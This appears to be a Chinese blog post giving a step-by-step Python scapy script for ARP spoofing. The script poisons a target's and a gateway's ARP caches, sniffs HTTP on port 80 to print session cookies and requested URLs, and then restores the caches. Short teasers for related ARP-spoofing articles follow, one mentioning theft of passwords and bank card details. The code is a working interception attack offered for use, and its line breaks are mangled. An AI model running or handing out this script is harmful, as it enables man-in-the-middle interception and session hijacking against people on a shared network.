用python實現arp欺騙,詳細步驟及思路

2021-10-22 06:55:42 字數 2905 閱讀 2244

用python實現arp欺騙,詳細步驟及思路:

# 1. 從命令列獲取要欺騙的ip

# 2. 獲取ip對應的mac位址

# 3. 定義mac獲取函式get_mac()

# 4. 啟動arp欺騙

# 5. 定義arp欺騙函式

# 6. 嗅探資料報

# 7. 定義cookie嗅探函式

# 8. 恢復靶機arp快取

# 9. 定義arp快取恢復函式

from scapy.

allimport

*import time

from threading import thread

defmain

(target_ip, gateway_ip)

: conf.verb =

0# 2. 獲取ip對應的mac位址

target_mac = get_mac(target_ip)

gateway_mac = get_mac(gateway_ip)

# 4. 啟動arp欺騙

t = thread(target=poison_target, args=

(target_ip, target_mac, gateway_ip, gateway_mac)

)# 當主線程結束時,子執行緒自動結束

t.setdaemon(

true

) t.start(

)# 6. 嗅探資料報

sniff(

filter

="tcp port 80"

, prn=packet_callback, store=0)

# 8. 恢復靶機arp快取

restore_target(target_ip, target_mac, gateway_ip, gateway_mac)

# 9. 定義arp快取恢復函式

defrestore_target

(target_ip, target_mac, gateway_ip, gateway_mac)

:print

("[*] restoring target..."

)# 恢復靶機的快取

send(arp(op=

2, psrc=gateway_ip, hwsrc=gateway_mac, pdst=target_ip, hwdst=

"ff:ff:ff:ff:ff:ff"

), count=5)

# 恢復目標機快取

send(arp(op=

2, psrc=target_ip, hwsrc=target_mac, pdst=gateway_ip, hwdst=

"ff:ff:ff:ff:ff:ff"

), count=5)

# 7. 定義cookie嗅探函式

defpacket_callback

(packet)

:if packet[tcp]

.payload:

cookie_packet =

bytes

(packet[tcp]

.payload)

if b"cookie"

in cookie_packet:

for info in cookie_packet.split(b'\n'):

if b"referer"

in info or b"get /"

in info:

print

(info)

elif b"cookie"

in info:

print

(info,

"\n"

)# 5. 定義arp欺騙函式

defpoison_target

(target_ip, target_mac, gateway_ip, gateway_mac)

:# 欺騙靶機

target = arp(

) target.op =

2# 2 代表響應包

target.psrc = gateway_ip

target.pdst = target_ip

target.hwdst = target_mac

# 欺騙閘道器

gateway = arp(

) gateway.op =

2 gateway.psrc = target_ip

gateway.pdst = gateway_ip

gateway.hwdst = gateway_mac

print

("[*] beginning the arp poison..."

)while

true

: send(target)

send(gateway)

time.sleep(2)

# 3. 定義mac獲取函式get_mac()

defget_mac

(ip)

: response, unanswered = srp(ether(dst=

"ff:ff:ff:ff:ff:ff"

)/ arp(pdst=ip)

, timeout=2)

for s, r in response:

return r[arp]

.hwsrc

if __name__ ==

"__main__"

:# 1. 從命令列獲取要欺騙的ip

target_ip =

input

("input target ip: "

) gateway_ip =

input

("input gateway ip: "

) main(target_ip, gateway_ip)

linux下的arp欺騙實現

由於畢業設計的需要,我需要在linux下實現arp欺騙,現在將我的一點心得寫下來,因為本人目前也在學習中,希望大家廣提意見,謝謝!首先安裝libpcap,libnet,libnids,compat db,openssl,如果沒有的話請到 在安裝前要注意一下,因為這個dsniff已經很久沒有更新了,所...

使用arpspoof實現內網ARP欺騙

arp欺騙是一種中間人攻擊,攻擊者通過毒化受害者的arp快取,將閘道器的mac替換成攻擊者的mac,於是攻擊者的主機實際上就充當了受害主機的閘道器,之後攻擊者就可以截獲受害者發出和接到的資料報,從中獲取賬號密碼 銀行卡資訊等。乙個實現arp欺騙的簡單工具是arpspoof 實驗環境 受害者主機 19...

再談利用ARP欺騙實現嗅探

再談利用arp欺騙實現嗅探 設有主機a b c在同乙個區域網中,且閘道器為g。a,c為要監聽的主機,b為我們的機器。目前的大多數工具的實現是欺騙a和與a通訊的主機c對方的mac均為b,這樣就可以監聽它們的通訊。但是實際上大多數情況下,我們感興趣的是a與閘道器g的通訊,而其中又尤其對a發出的一些資訊感...